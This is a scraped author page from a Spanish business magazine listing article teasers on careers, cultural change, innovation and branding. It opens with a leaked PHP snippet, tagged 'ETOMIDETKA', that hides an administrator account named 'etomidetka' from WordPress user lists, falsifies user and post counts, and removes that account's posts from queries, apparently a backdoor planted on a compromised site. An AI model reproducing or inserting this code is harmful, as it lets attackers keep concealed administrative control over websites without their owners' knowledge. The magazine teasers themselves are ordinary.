//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Coppelia Yañez, autor en Revista Fusión Empresarial

Author page: Coppelia Yañez

De especialistas a neogeneralistas

  Durante muchos años, el paradigma imperante al desarrollar una carrera profesional (ya sea desde la perspectiva personal o en el ámbito emprendedor) ha sido seleccionar un área de competencia y profundizar en ella. Esto tiene sentido de múltiples maneras: permite que ejerzas en un espacio específico de saberes, afina el entorno competitivo y te permite detectar “océanos rojos” en…

Leer más

Entender la cultura para “surfear” el cambio

Es un lugar común afirmar la velocidad con la que ocurren los cambios en la cultura actualmente, así como mencionar que este es un reto al que cualquier empresa termina enfrentándose más pronto que tarde. Como buen lugar común, tiene bastante de verdad: los avances tecnológicos, los cambios generacionales, la velocidad con la que fluye la información, la globalización y…

Leer más

Innovar con SIGNIFICADO.

Ya se ha escrito mucho en torno al tema de que, en una época como la nuestra, innovar es una labor más importante que nunca. A partir de muchas metodologías diferentes, el reto suele ser muy similar: encontrar maneras de incrementar el negocio, a partir de satisfacer necesidades recién detectadas (o que no estaban en nuestro rango de posibilidades) para…

Leer más

Branding y comunicación de marca: un proceso de valor estratégico

Cuando se menciona la idea de “marca”, es frecuente pensar en sus formas gráficas (logotipos, logosímbolos, isologos y otros términos técnicos que definen la identidad visual), o bien en el nombre con el que identificamos determinados productos y servicios. Por supuesto que el proceso de creación de estos elementos identificadores es importante, pero también resulta esencial identificar la relación entre…

Leer más